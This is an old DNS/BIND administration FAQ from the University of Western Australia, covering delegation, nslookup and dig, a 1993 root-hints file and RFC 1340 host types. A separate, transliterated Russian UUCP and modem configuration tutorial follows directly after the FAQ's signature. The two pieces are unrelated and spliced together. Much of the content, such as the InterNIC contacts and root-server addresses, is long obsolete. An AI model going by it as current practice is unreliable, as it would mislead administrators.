jep@convex.nl
=============
Delegating authority for domains within your domain:
When you start having a very big domain that can be broken into logical and
seperate entities that can look after their own DNS information, you will
probably want to do this. Maintain a central area for the things that
everyone needs to see and delegate the authority for the other parts of the
organisation so that they can manage themselves.
Another essential piece of information is that every domain that exists
must have it NS records associated with it. These NS records denote the
name servers that are queried for information about that zone. For your
zone to be recognised by the outside world, the server responsible for the
zone above you must have created a NS record for your machine in your
domain. For example, putting the computer club onto the network and giving
them control over their own part of the domain space we have the following.
The machine authorative for gu.uwa.edu.au is mackerel and the machine
authorative for ucc.gu.uwa.edu.au is marlin.
in mackerel's data for gu.uwa.edu.au we have the following
@ IN SOA ...
IN A 130.95.100.3
IN MX mackerel.gu.uwa.edu.au.
IN MX uniwa.uwa.edu.au.
marlin IN A 130.95.100.4
ucc IN NS marlin.gu.uwa.edu.au.
IN NS mackerel.gu.uwa.edu.au.
Marlin is also given an IP in our domain as a convenience. If they blow up
their name serving there is less that can go wrong because people can still
see that machine which is a start. You could place "marlin.ucc" in the
first column and leave the machine totally inside the ucc domain as well.
The second NS line is because mackerel will be acting as secondary name
server for the ucc.gu domain. Do not include this line if you are not
authorative for the information included in the sub-domain.
Troubleshooting your named:
Named doesn't work! What is wrong?
Step 1: Run nslookup and see what nameserver it tries to connect you to.
If nslookup connects you to the wrong nameserver, create a /etc/resolv.conf
file that points your machine at the correct nameserver. If there is no
resolv.conf file, the the resolver uses the nameserver on the local
machine.
Step 2: Make sure that named is actually running.
Step 3: Restart named and see if you get any error messages on the
console and in also check /usr/adm/messages.
Step 4: If named is running, nslookup connects to the appropriate
nameserver and nslookup can answer simple questions, but other programs
such as 'ping' do not work with names, then you need to install resolv+
most likely.
I changed my named database and my local machine has noticed, but nobody
else has the new information?
Change the serial number in the SOA for any domains that you modified and
restart named. Wait an hour and check again. The information propogates
out. It won't change immediately.
My local machine knows about all the name server information, but no other
sites know about me?
Find an upstream nameserver (one that has an SOA for something in your
domain) and ask them to be a secondary name server for you. eg if you are
ecel.uwa.edu.au, ask someone who has an SOA for the domain uwa.edu.au.
Get NS records (and glue) added to your parent zone for your zone. This is
called delegating. It should be done formally like this or you will get
inconsistant answers out of the DNS. ALL NAMSERVERS FOR YOUR ZONE SHOULD
BE LISTED IN THIS MANNER.
My forward domain names work, but the backward names do not?
Make sure the numbers are back to front and have the in-addr.arpa on the
end.
Make sure you reverse zone is registered. For Class C nets this can be done
by mailing to hostmaster@internic.net. For class A & B nets make sure that
you are registeres with the primary for your net and that the net itself
is registered with hostmaster@internic.net.
How to get useful information from nslookup:
Nslookup is a very useful program but I'm sure there are less than 20
people worldwide who know how to use it to its full usefulness. I'm most
certainly not one of them. If you don't like using nslookup, there is at
least one other program called dig, that has most/all(?) of the
functionality of nslookup and is a hell of a lot easier to use.
I won't go into dig much here except to say that it is a lot easier to get
this information out of. I won't bother because nslookup ships with almost
all machines that come with network software.
To run nslookup, you usually just type nslookup. It will tell you the
server it connects to. You can specify a different server if you want.
This is useful when you want to tell if your named information is
consistent with other servers.
Getting name to number mappings.
Type the name of the machine. Typing 'decel' is enough if the machine is
local.
(Once you have run nslookup successfully)
> decel
Server: ecel.uwa.edu.au
Address: 130.95.4.2
Name: decel.ecel.uwa.edu.au
Address: 130.95.4.2
>
One curious quirk of some name resolvers is that if you type a
machine name, they will try a number of permutations. For example if my
machine is in the domain ecel.uwa.edu.au and I try to find a machine
called fred, the resolver will try the following.
fred.ecel.uwa.edu.au.
fred.uwa.edu.au.
fred.edu.au.
fred.au.
fred.
This can be useful, but more often than not, you would simply prefer a good
way to make aliases for machines that are commonly referenced. If you are
running resolv+, you should just be able to put common machines into the
host file.
DIG: dig
Getting number to name mappings.
Nslookup defaults to finding you the Address of the name specified. For
reverse lookups you already have the address and you want to find the
name that goes with it. If you read and understood the bit above where it
describes how to create the number to name mapping file, you would guess
that you need to find the PTR record instead of the A record. So you do
the following.
> set type=ptr
> 2.4.95.130.in-addr.arpa
Server: decel.ecel.uwa.edu.au
Address: 130.95.4.2
2.4.95.130.in-addr.arpa host name = decel.ecel.uwa.edu.au
>
nslookup tells you that the ptr for the machine name
2.4.95.130.in-addr.arpa points to the host decel.ecel.uwa.edu.au.
DIG: dig -x
Finding where mail goes when a machine has no IP number.
When a machine is not IP connected, it needs to specify to the world, where
to send the mail so that it can dial up and collect it every now and then.
This is accomplished by setting up an MX record for the site and not giving
it an IP number. To get the information out of nslookup as to where the
mail goes, do the following.
> set type=mx
> dialix.oz.au
Server: decel.ecel.uwa.oz.au
Address: 130.95.4.2
Non-authoritative answer:
dialix.oz.au preference = 100, mail exchanger = uniwa.uwa.OZ.AU
dialix.oz.au preference = 200, mail exchanger = munnari.OZ.AU
Authoritative answers can be found from:
uniwa.uwa.OZ.AU inet address = 130.95.128.1
munnari.OZ.AU inet address = 128.250.1.21
munnari.OZ.AU inet address = 192.43.207.1
mulga.cs.mu.OZ.AU inet address = 128.250.35.21
mulga.cs.mu.OZ.AU inet address = 192.43.207.2
dmssyd.syd.dms.CSIRO.AU inet address = 130.155.16.1
ns.UU.NET inet address = 137.39.1.3
You tell nslookup that you want to search for mx records and then you give
it the name of the machine. It tells you the preference for the mail
(small means more preferable), and who the mail should be sent to. It also
includes sites that are authorative (have this name in their named database
files) for this MX record. There are multiple sites as a backup. As can
be seen, our local public internet access company dialix would like all of
their mail to be sent to uniwa, where they collect it from. If uniwa is
not up, send it to munnari and munnari will get it to uniwa eventually.
NOTE: For historical reasons Australia used to be .oz which was changed to
oz.au to move to the ISO standard extensions upon the advent of IP. We
are now moving to a more normal heirarchy which is where the .edu.au comes
from. Pity, I liked having oz.
DIG: dig mx
Getting a list of machines in a domain from nslookup.
Find a server that is authorative for the domain or just generally all
knowing. To find a good server, find all the soa records for a given
domain. To do this, you set type=soa and enter the domain just like in the
two previous examples.
Once you have a server type
> ls gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name Internet address
gu server = mackerel.gu.uwa.edu.au
gu server = uniwa.uwa.edu.au
gu 130.95.100.3
snuffle-upagus 130.95.100.131
mullet 130.95.100.2
mackerel 130.95.100.3
marlin 130.95.100.4
gugate 130.95.100.1
gugate 130.95.100.129
helpdesk 130.95.100.180
lan 130.95.100.0
big-bird 130.95.100.130
To get a list of all the machines in the domain.
If you wanted to find a list of all of the MX records for the domain, you
can put a -m flag in the ls command.
> ls -m gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name Metric Host
gu 100 mackerel.gu.uwa.edu.au
gu 200 uniwa.uwa.edu.au
This only works for a limited selection of the different types.
DIG: dig axfr @
Appendix A
;
; This file holds the information on root name servers needed to
; initialize cache of Internet domain name servers
; (e.g. reference this file in the "cache . "
; configuration file of BIND domain name servers).
;
; This file is made available by InterNIC registration services
; under anonymous FTP as
; file /domain/named.root
; on server FTP.RS.INTERNIC.NET
; -OR- under Gopher at RS.INTERNIC.NET
; under menu InterNIC Registration Services (NSI)
; submenu InterNIC Registration Archives
; file named.root
;
; last update: April 21, 1993
; related version of root zone: 930421
;
99999999 IN NS NS.INTERNIC.NET.
NS.INTERNIC.NET. 99999999 A 198.41.0.4
99999999 NS KAVA.NISC.SRI.COM.
KAVA.NISC.SRI.COM. 99999999 A 192.33.33.24
99999999 NS C.NYSER.NET.
C.NYSER.NET. 99999999 A 192.33.4.12
99999999 NS TERP.UMD.EDU.
TERP.UMD.EDU. 99999999 A 128.8.10.90
99999999 NS NS.NASA.GOV.
NS.NASA.GOV. 99999999 A 128.102.16.10
99999999 A 192.52.195.10
99999999 NS NS.NIC.DDN.MIL.
NS.NIC.DDN.MIL. 99999999 A 192.112.36.4
99999999 NS AOS.ARL.ARMY.MIL.
AOS.ARL.ARMY.MIL. 99999999 A 128.63.4.82
99999999 A 192.5.25.82
99999999 NS NIC.NORDU.NET.
NIC.NORDU.NET. 99999999 A 192.36.148.17
; End of File
Appendix B
An Excerpt from
RFC 1340 Assigned Numbers July 1992
MACHINE NAMES
These are the Official Machine Names as they appear in the Domain Name
System HINFO records and the NIC Host Table. Their use is described in
RFC-952 [53].
A machine name or CPU type may be up to 40 characters taken from the
set of uppercase letters, digits, and the two punctuation characters
hyphen and slash. It must start with a letter, and end with a letter
or digit.
ALTO DEC-1080
ALTOS-6800 DEC-1090
AMDAHL-V7 DEC-1090B
APOLLO DEC-1090T
ATARI-104ST DEC-2020T
ATT-3B1 DEC-2040
ATT-3B2 DEC-2040T
ATT-3B20 DEC-2050T
ATT-7300 DEC-2060
BBN-C/60 DEC-2060T
BURROUGHS-B/29 DEC-2065
BURROUGHS-B/4800 DEC-FALCON
BUTTERFLY DEC-KS10
C/30 DEC-VAX-11730
C/70 DORADO
CADLINC DPS8/70M
CADR ELXSI-6400
CDC-170 EVEREX-386
CDC-170/750 FOONLY-F2
CDC-173 FOONLY-F3
CELERITY-1200 FOONLY-F4
CLUB-386 GOULD
COMPAQ-386/20 GOULD-6050
COMTEN-3690 GOULD-6080
CP8040 GOULD-9050
CRAY-1 GOULD-9080
CRAY-X/MP H-316
CRAY-2 H-60/68
CTIWS-117 H-68
DANDELION H-68/80
DEC-10 H-89
DEC-1050 HONEYWELL-DPS-6
DEC-1077 HONEYWELL-DPS-8/70
HP3000 ONYX-Z8000
HP3000/64 PDP-11
IBM-158 PDP-11/3
IBM-360/67 PDP-11/23
IBM-370/3033 PDP-11/24
IBM-3081 PDP-11/34
IBM-3084QX PDP-11/40
IBM-3101 PDP-11/44
IBM-4331 PDP-11/45
IBM-4341 PDP-11/50
IBM-4361 PDP-11/70
IBM-4381 PDP-11/73
IBM-4956 PE-7/32
IBM-6152 PE-3205
IBM-PC PERQ
IBM-PC/AT PLEXUS-P/60
IBM-PC/RT PLI
IBM-PC/XT PLURIBUS
IBM-SERIES/1 PRIME-2350
IMAGEN PRIME-2450
IMAGEN-8/300 PRIME-2755
IMSAI PRIME-9655
INTEGRATED-SOLUTIONS PRIME-9755
INTEGRATED-SOLUTIONS-68K PRIME-9955II
INTEGRATED-SOLUTIONS-CREATOR PRIME-2250
INTEGRATED-SOLUTIONS-CREATOR-8 PRIME-2655
INTEL-386 PRIME-9955
INTEL-IPSC PRIME-9950
IS-1 PRIME-9650
IS-68010 PRIME-9750
LMI PRIME-2250
LSI-11 PRIME-750
LSI-11/2 PRIME-850
LSI-11/23 PRIME-550II
LSI-11/73 PYRAMID-90
M68000 PYRAMID-90MX
MAC-II PYRAMID-90X
MASSCOMP RIDGE
MC500 RIDGE-32
MC68000 RIDGE-32C
MICROPORT ROLM-1666
MICROVAX S1-MKIIA
MICROVAX-I SMI
MV/8000 SEQUENT-BALANCE-8000
NAS3-5 SIEMENS
NCR-COMTEN-3690 SILICON-GRAPHICS
NEXT/N1000-316 SILICON-GRAPHICS-IRIS
NOW SGI-IRIS-2400
SGI-IRIS-2500 SUN-3/50
SGI-IRIS-3010 SUN-3/60
SGI-IRIS-3020 SUN-3/75
SGI-IRIS-3030 SUN-3/80
SGI-IRIS-3110 SUN-3/110
SGI-IRIS-3115 SUN-3/140
SGI-IRIS-3120 SUN-3/150
SGI-IRIS-3130 SUN-3/160
SGI-IRIS-4D/20 SUN-3/180
SGI-IRIS-4D/20G SUN-3/200
SGI-IRIS-4D/25 SUN-3/260
SGI-IRIS-4D/25G SUN-3/280
SGI-IRIS-4D/25S SUN-3/470
SGI-IRIS-4D/50 SUN-3/480
SGI-IRIS-4D/50G SUN-4/60
SGI-IRIS-4D/50GT SUN-4/110
SGI-IRIS-4D/60 SUN-4/150
SGI-IRIS-4D/60G SUN-4/200
SGI-IRIS-4D/60T SUN-4/260
SGI-IRIS-4D/60GT SUN-4/280
SGI-IRIS-4D/70 SUN-4/330
SGI-IRIS-4D/70G SUN-4/370
SGI-IRIS-4D/70GT SUN-4/390
SGI-IRIS-4D/80GT SUN-50
SGI-IRIS-4D/80S SUN-100
SGI-IRIS-4D/120GTX SUN-120
SGI-IRIS-4D/120S SUN-130
SGI-IRIS-4D/210GTX SUN-150
SGI-IRIS-4D/210S SUN-170
SGI-IRIS-4D/220GTX SUN-386i/250
SGI-IRIS-4D/220S SUN-68000
SGI-IRIS-4D/240GTX SYMBOLICS-3600
SGI-IRIS-4D/240S SYMBOLICS-3670
SGI-IRIS-4D/280GTX SYMMETRIC-375
SGI-IRIS-4D/280S SYMULT
SGI-IRIS-CS/12 TANDEM-TXP
SGI-IRIS-4SERVER-8 TANDY-6000
SPERRY-DCP/10 TEK-6130
SUN TI-EXPLORER
SUN-2 TP-4000
SUN-2/50 TRS-80
SUN-2/100 UNIVAC-1100
SUN-2/120 UNIVAC-1100/60
SUN-2/130 UNIVAC-1100/62
SUN-2/140 UNIVAC-1100/63
SUN-2/150 UNIVAC-1100/64
SUN-2/160 UNIVAC-1100/70
SUN-2/170 UNIVAC-1160
UNKNOWN
VAX-11/725
VAX-11/730
VAX-11/750
VAX-11/780
VAX-11/785
VAX-11/790
VAX-11/8600
VAX-8600
WANG-PC002
WANG-VS100
WANG-VS400
WYSE-386
XEROX-1108
XEROX-8010
ZENITH-148
SYSTEM NAMES
These are the Official System Names as they appear in the Domain Name
System HINFO records and the NIC Host Table. Their use is described
in RFC-952 [53].
A system name may be up to 40 characters taken from the set of upper-
case letters, digits, and the three punctuation characters hyphen,
period, and slash. It must start with a letter, and end with a
letter or digit.
AEGIS LISP SUN OS 3.5
APOLLO LISPM SUN OS 4.0
AIX/370 LOCUS SWIFT
AIX-PS/2 MACOS TAC
BS-2000 MINOS TANDEM
CEDAR MOS TENEX
CGW MPE5 TOPS10
CHORUS MSDOS TOPS20
CHRYSALIS MULTICS TOS
CMOS MUSIC TP3010
CMS MUSIC/SP TRSDOS
COS MVS ULTRIX
CPIX MVS/SP UNIX
CTOS NEXUS UNIX-BSD
CTSS NMS UNIX-V1AT
DCN NONSTOP UNIX-V
DDNOS NOS-2 UNIX-V.1
DOMAIN NTOS UNIX-V.2
DOS OS/DDP UNIX-V.3
EDX OS/2 UNIX-PC
ELF OS4 UNKNOWN
EMBOS OS86 UT2D
EMMOS OSX V
EPOS PCDOS VM
FOONEX PERQ/OS VM/370
FUZZ PLI VM/CMS
GCOS PSDOS/MIT VM/SP
GPOS PRIMOS VMS
HDOS RMX/RDOS VMS/EUNICE
IMAGEN ROS VRTX
INTERCOM RSX11M WAITS
IMPRESS RTE-A WANG
INTERLISP SATOPS WIN32
IOS SCO-XENIX/386 X11R3
IRIX SCS XDE
ISI-68020 SIMP XENIX
ITS SUN
Appendix C Installing DNS on a Sun when running NIS
====================
2) How to get DNS to be used when running NIS ?
First setup the appropriate /etc/resolv.conf file.
Something like this should do the "trick".
;
; Data file for a client.
;
domain local domain
nameserver address of primary domain nameserver
nameserver address of secondary domain nameserver
where: "local domain" is the domain part of the hostnames.
For example, if your hostname is "thor.ece.uc.edu"
your "local domain" is "ece.uc.edu".
You will need to put a copy of this resolv.conf on
all NIS(YP) servers including slaves.
Under SunOS 4.1 and greater, change the "B=" at the top
of the /var/yp/Makefile to "B=-b" and setup NIS in the
usual fashion.
You will need reboot or restart ypserv for these changes
to take affect.
Under 4.0.x, edit the Makefile or apply the following "diff":
*** Makefile.orig Wed Jan 10 13:22:11 1990
--- Makefile Wed Jan 10 13:22:01 1990
***************
*** 63 ****
! | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byname; \
--- 63 ----
! | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byname; \
***************
*** 66 ****
! | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
--- 66 ----
! | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
====================
--
Craig Richmond. Computer Officer - Dept of Economics (morning) 380 3860
University of Western Australia Dept of Education (afternoon) 2368
craig@ecel.uwa.edu.au Dvorak Keyboards RULE! "Messes are only acceptable
if users make them. Applications aren't allowed this freedom" I.M.VI 2-4
.
&dDUUCP - Unix to Unix Copy&d@
Sistema peresylki fajlov po telefonu.
Esli uucp pravil'no skonfigurirovano, to ego ispol'zovanie
vyglyadit primerno tak:
uucp -r moj_fajl 'pulsar!fajl_tam'
pereshlet moj_fajl na udalennuyu mashinu pulsar. Hotya, skoree
vsego ne sdelaet, iz-za ogranichenij na prava dostupa. A,
vprochem, takaya komanda skoree vsego srabotaet:
uucp -r moj_fajl 'pulsar!~'
cherez nekotoroe vremya etot fajl vy smozhete obnaruzhit' na mashine
pulsar v kataloge
/usr/spool/uucppublic/
v etot katalog razresheno kopirovanie s udalennyh mashin, dlya ne-
go ispol'zuetsya special'noe oboznachenie: "~"
Pust' vas ne udivlyaet, chto v komande uucp ispol'zovalis' odi-
narnye kavychki. Oni nuzhny, chtoby zaekranirovat' "!" i "~" ot
vashego komandnogo interpretatora ksh ili bash. Klyuch -r v koman-
de uucp nuzhen, chtoby NE ZASTAVLYATX nashu mashinu nemedlenno nachi-
nat' zvonit' na pulsar. Ona sama pozvonit, v predusmotrennoe
dlya etogo vremya.
uucp podderzhivaetsya na dvuh urovnyah:
1. Pol'zovatel'skij. |to komandy uucp - postanovka fajla
v ochered' na udalennuyu peresylku, i uux - postanovka
v ochered' na peresylku udalennoj komandy.
2. Sistemnyj. Periodicheski, avtomaticheski zapuskaetsya demon
uucico - (UUCP Copy in Copy out). On sozvanivaetsya s udalennymi
mashinami po telefonu. Na udalennoj mashine takzhe zapuskaetsya
"vstrechnyj" demon uucico. Nash demon "protalkivaet" na udalennuyu
mashinu vse fajly, kotorye k etomu vremeni nakopilis' v ocheredi
na otpravku tuda. Posle etogo on "prinimaet" fajly, kotorye
prigotovila dlya nas udalennaya mashina (ih k nam protalkivaet
"vstrechnyj" demon uucico, a nash prinimaet). Posle etogo seans
uucico zakanchivaetsya. A pol'zovateli obnaruzhivayut, chto u nih
voznikli novye fajly.
Predpolagaetsya, chto sistemnye administratory na nashej i na
udalennoj mashine ne zabyli pravil'no opisat' i prokonfiguriro-
vat' sistemu UUCP.
&dDKonfiguraciya nashej mashiny kak UUCP klienta.&d@
Posle etogo nasha mashina smozhet zvonit' na udalennye mashiny i
posylat'/zabirat' ottuda fajly. Dlya etogo my dolzhny zadat':
1. Nashe sobstvennoe UUCP imya.
2. Imya(imena) udalennoj(yh) UUCP sistemy.
3. Telefonnyj nomer(a), po kotoromu nuzhno tuda zvonit'.
4. Login i parol', kotorye vydeleny tam dlya nashego uucp-account'a.
5. Port, k kotoromu podklyuchen nash modem.
6. Naborshchik - opisanie "AT" komand dlya upravleniya nashim modemom.
|ti dannye zadayutsya v neskol'kih konfiguracionnyh fajlah, koto-
rye dolzhny lezhat' v kataloge /etc/uucp/ (ili /usr/lib/uucp/ ,
ili /usr/lib/uucp/taylor_config ) (ili v kakom nibud'
drugom, sm. man uucp dlya bolee tochnoj informacii). |to fajly:
Config # zadaet imya nashej mashiny (i mnogoe drugoe) ;
Systems # opisyvaet udalennye uucp-sistemy: imya, no-
# mer telefona, uucp-logname, uucp-passwd ;
Devices # porty, k kotorym podklyucheny modemy.
Dialers # opisyvaet modemy-naborshchiki (sistemu AT-ko-
# mand).
(A v Linux oni nazyvayutsya: config, sys, port, dial)
Itak, predstavim klassicheskij sluchaj. U vas odin Hayes-sovmes-
timyj modem V32/V42bis na 14400 baud (GVC, ZyXEL, US-
Robotics...), podklyuchennyj k posledovatel'nomu portu /dev/modem
(esli u vas port nazyvaetsya /dev/contty03, vam nikto ne meshaet
sdelat' simvolicheskij link ln -s /dev/contty03 /dev/modem ne
tak li ?). Imya vashego uzla fedfuru.
VNIMANIE. Na bol'shinstve Unix-ov vydeleny razdel'nye special'-
nye fajly dlya odnogo i togo-zhe porta: terminal'naya liniya (dlya
podklyucheniya terminala ili modema, NA kotoryj budut zvonit' -
ispol'zuetsya dlya getty ili ttymon), i liniya s modemnym upravle-
niem, na vyhod - naprimer, chtob zvonit' NARUZHU modemom. |ti
special'nye fajly i nazyvayutsya po raznomu, naprimer:
SunOS: /dev/ttyy01 IN, /dev/ttyz01 OUT
Linux: /dev/ttyS1 IN, /dev/cua1 OUT
ISC: /dev/ttyFD01 IN, /dev/ttyFM01 OUT
SVR4/88: /dev/contty00 IN, /dev/??????? OUT
###sleduyushchij abzac napisan "melkim shriftom"(mozhno ne chitat')###
Na samom dele vse ne sovsem tak. Citiruyu Linux-Serial-HOWTO:
> There has been some discussion on the merits of /dev/mouse
> and /dev/modem. I strongly discourage the use of these links.
> In particular, if you are planning on using your modem for
> dialin you will run into problems because the lock files will
> not work correctly if you use /dev/modem. Also, Taylor UUCP
does not support symlinks either. Odnako uugetty pozvolyaet
korrektno otrabatyvat' etu situaciyu. Sm. parametr ALTLOCK v
/etc/defaults/getty fajle.
################_konec_"melkogo shrifta"_#######################
Vam nado podklyuchit'sya k dvum uucp-uzlam:
1: Uzel Relkom, imya uzla kiae, telefony: 9469984, 9469994. Vy
zaregistrirovany tam pod imenem/parolem uufedurp/ABCd8
2: Vashe moskovskoe otdelenie, imya uzla fedfond, telefon 095-
125-7623. Vy zaregistrirovany tam pod imenem/parolem
uufedurp/KLmn10
V kataloge /etc/uucp redaktiruem fajly Systems, Devices, Dialers
Systems: ------- Udalennye mashiny -----------------------------
kiae Any modem1 19200 946-9984 "" \n\r\d\r\d\r ogin:-BREAK-ogin:
uufedurp ssword: ABCd8
fedfond Any modem1 19200 8w095-125-7623 "" \n\r ogin:-BREAK-ogin:
uufedurp ssword: KLmn10
Devices: --------------- Opisanie portov ----------------------
modem1 contty03 - 19200 gvc1440
Dialers: --------------- Komandy modemov ----------------------
gvc1440 =,-, "" \M\dATZ\r\c OK\r \EATDP\T\r\c CONNECT \m\c
---------------- |to vse --------------------------------------
###sleduyushchij abzac napisan "melkim shriftom"(mozhno ne chitat')###
A dal'she idet opisanie Taylor-uucp. Problema v tom, chto v stan-
dartnoj postavke SVR4/88 _net_ Taylor-uucp, a est' tol'ko t.n.
HoneyDanBer-uucp, on zhe BNU (Basic Networking Utilities).
Taylor novee i gibche, k tomu zhe podderzhivaet dva formata konfi-
guracionnyh fajlov - tradicionnyj (Config, Systems, Devices,
Dialers, ...) i svoj (config, sys, port, dial, ...). Est' kon-
verter tuda-obratno. V Linuxe Taylor-uucp skompilirovan tak,
chtoby snachala iskat' Taylor-konfiguraciyu v
/usr/lib/uucp/taylor_config/, esli tam nichego net - iskat'
HDB-konfiguraciyu v /usr/lib/uucp/hdb_config/. IMHO glavnyj
iz®yan HDB - nevozmozhnost' ukazyvat' al'ternativnye nomera tele-
fonov.
################_konec_"melkogo shrifta"_#######################
###sleduyushchij abzac napisan "melkim shriftom"###
Esli vy ispol'zuete ne ustarevshij BNU-uucp, a Taylor-uucp 1.05:
V kataloge /usr/lib/uucp/taylor_config sozdaem fajly config,
sys, port, dial sleduyushchego soderzhaniya:
/* Primechanie: v distributivah RedHat Linux konfiguracionnye fajly
uucp dolzhny lezhat' v /etc/uucp/ */
config: -------------------------------------------------------
uuname fedfuru # Nashe sobstvennoe imya
sys: ------- Udalennye mashiny ---------------------------------
system kiae # Uzel Relkom ############################
myname fedfuru
time Any
port modem # Imya opisaniya porta v fajle port
speed 38400
chat ogin:-BREAK-ogin: uufedurp ssword: ABCd8
phone 946-9984
alternate # Vtoroj telefonnyj nomer.
phone 946-9994
system fedfond # Moskovskoe otdelenie ##################
time Any
myname fedfuru
port modem # Imya opisaniya porta v fajle port
speed 38400
chat ogin:-BREAK-ogin: uufedurp ssword: KLmn10
phone 8w095-125-7623
port: --------------- Opisanie portov ------------------------
port modem # Oboznachenie porta iz fajla sys
type modem
device /dev/modem
speed 38400
dialer gvc1440 # Imya naborshchika-modema v fajle dial
dial: --------------- Komandy modemov ------------------------
dialer gvc1440 # Oboznachenie naborshchika iz fajla port
# Stroka inicializacii modema.
# Vmesto \T budet podstavlen telefonnyj nomer
chat "" ATZ OK ATH0E0Q0 OK ATDP\T CONNECT
# ATZ - zagruzit' profile 0
# ATH0 - povesit' trubku
# ATE0 - no echo
# ATQ0 - vyvodit' kod vozvrata
chat-fail BUSY # Vosprinimat' kak oshibku nabora
chat-fail ERROR
chat-fail NO\sCARRIER
chat-fail NO\sDIALTONE
---------------------------------------------------------------
################_konec_"melkogo shrifta"_#######################
Vse. Klientskaya chast' UUCP skonfigurirovana. Teper', chtoby
"protolknut'" poslannye fajly, dostatochno periodicheski
vypolnyat' komandy:
uucico -s kiae
uucico -s fedfond
A eshche luchshe, dobavit' eti komandy v crontab, chtoby oni vypolnyalis'
avtomaticheski, po neskol'ko raz v sutki.
&dDKonfigurirovanie UUCP s ispol'zovaniem sysadm&d@.
Vse vysheperechislennye nastrojki mozhno sdelat', ispol'zuya utili-
tu sistemnogo administratora sysadm. Nado vojti v menyu
network_services / basic_network
&dDKonfigurirovanie servernoj chasti UUCP.&d@
Itak, my uzhe mozhem zvonit' na chuzhie mashiny, i peresylat' na nih
fajly. Teper' nuzhno sdelat', chtoby chuzhie mashiny (klienty) mogli
zvonit' nam. Dlya etogo nuzhno:
1: Imet' opisanie zvonyashchej nam uucp-sistemy v fajle Systems -
dlya klienta takoe zhe, kak i dlya servera.
2: Proverit' prava dostupa dlya klienta v fajle Permitions
2: Zavesti dlya nego special'nyj uucp-login
3: Ubedit'sya, chto modem stoit v "Auto-answer" rezhime, i na port
/dev/modem zapushchena programma getty (ili ttymon), pozvolyayu-
shchaya loginit'sya po telefonu na port /dev/modem
1. Opisanie dobavlyaetsya v fajl Systems, (nomer telefona i
nazvanie porta ne obyazatel'ny), esli my sami ne
sobiraemsya tuda zvonit', no ya by posovetoval ih vpisat', dlya
edinoobraziya.
2. V fajle /etc/passwd zavesti strochku vida:
uupetrov:x:1002:14:UU Petrov:/var/spool/uucp:/usr/lib/uucp/uucico
vypolnit' komandy:
pwconv
passwd uupetrov
3. Lyuboj terminal'noj programmoj "vojti" v modemnyj port i vy-
polnit' komandy
atz0 # Zagruzit' pol'zovatel'skij profile 0
ats0=1 # Registr0=1 - snimat' trubku posle 1-go zvonka
at&w0 # Sohranit' tekushchij setup v profile 0
at&y0 # CHtoby pri vklyuchenii pitaniya zagruzhalsya profajl 0
# at&f # zagruzit' zavodskie ustanovki, esli vy zaputalis'
# s profajlami, mozhno sdelat' modemu "reset"
Vvidu otsutstviya kommunikacionnyh programm v SVR4 (za
isklyucheniem sumasshedshego "cu"), ispol'zujte "echo".
echo atz0 > /dev/modem
echo ats0=0 > /dev/modem
echo at&w0 > /dev/modem # i tak dalee
A eshche luchshe gold, tam est' rezhim pryamoj svyazi s lyubym portom.
4. V fajle /etc/inittab imet' strochku vida:
c3:234:respawn:/usr/lib/saf/ttymon -g -d /dev/modem -l contty
&dDCHto gde lezhit v sisteme UUCP.&d@
/usr/bin/uucp - pereslat' fajly s/na udalennuyu uucp-sistemu
/usr/bin/uux - vypolnit' komandu na udalennoj uucp-sisteme
/usr/bin/uustat - statistika po vypolnennym peresylkam
/usr/lib/uucp/uu* - sistemnye utility UUCP
/etc/uucp/ - katalog konfiguracionnyh fajlov UUCP
/usr/lib/uucp/taylor_config - konfiguraciya UUCP v Linux
/usr/lib/uucp/ - konfiguraciya UUCP v drugih
sistemah
/var/spool/uucppublic - katalog v kotoryj mozhno peresylat'
fajly s udalennyh mashin
/usr/spool/mqueue - ocheredi otpravlyaemoj elektronnoj pochty
/usr/ucblib/mqueue - ili zdes' eta ochered' ?
/var/spool/uucp/"mashina" - ochered' fajlov na otpravku na "mashinu"
/var/spool/uucp/.Log - statistika o rabote uucp
&dDOstalos' nastroit' nashu elektronnuyu pochtu.&d@
Esli u vas samyj prostejshij sluchaj: vsya vasha pochta prohodit che-
rez odin "znayushchij" host, s kotorym vy soedineny po uucp, to na-
do v fajle /etc/sendmail.cf imet' takuyu stroku:
. . .
# "Smart" relay host (may be null)
DSuucp-dom:kiae
. . .
V etom sluchae vsya vasha vneshnyaya pochta (t.e. otpravlyaemaya za
predely vashej lokal'noj seti) budet perepravlyat'sya po uucp na
uucp-uzel "kiae" i dal'nejshej ee dostavkoj budet ozabochen
imenno kiae. Predpolagaetsya, chto on uspeshno spravitsya s etoj
zadachej.
A eshche chtoby bylo opisanie uucp-dom (nizhe v tom zhe fajle).
Kstati, chtoby vseh okonchatel'no zaputat', sendmail.cf na Moton
role lezhit vovse ne v /etc/, a v /usr/ucblib/.
Esli u vas kakoj-libo drugoj sluchaj - to eto - tyazhelyj sluchaj.
Derzajte, uspehov vam!
# I nado sdelat', chtob sendmail ne otrezal 8-j bit u posylaemoj pochty
# Esli sendmail8.x.x, to v sendmail.cf:
# strip message body to 7 bits on input?
O7False
# A eshche byvaet, chto sendmail ne znaet, kak pravil'no nazyvaetsya
# nasha mashina. Togda my pishem chto-to v takom stile:
Cwlocalhost feduru.urup.ru feduru.mss.ru
&dDProverka rabotosposobnosti i otladka konfiguracii.&d@
Dlya nachala proverim, pravil'no li podsoedinen modem.
Zapuskaem programmu cu - emulyator terminala.
cu -l /dev/modem # Ili kak tam u vas etot port nazyvaetsya
Posle etogo vy pereklyuchites' na rabotu so svoim modemnym por-
tom. Vse, chto vy budete nabirat' s klaviatury, budet perenap-
ravlyat'sya v port /dev/modem , vse, chto "prihodit" s etogo por-
ta, budet risovat'sya na vashem terminale. Poprobujte modemom
nabrat' telefonnyj nomer
atdp100
Prover'te, pravil'no li skonfigurirovan "port" modema i opisa-
nie sistemy v fajle Systems.
cu pulsar
Prover'te prava dostupa k fajlam /dev/modem, /dev/contty*. Dol-
zhno byt' (???):
crw-rw---- 1 root uucp ... /dev/contty0
crw-rw---- 1 root uucp ... /dev/modem
Zapustite uucico s maksimal'nym urovnem vydachi otladochnoj in-
formacii. Zapuskat' nado iz pod pol'zovatelya uucp
/usr/lib/uucp/uucico -r1 -x9 -f -s pulsar
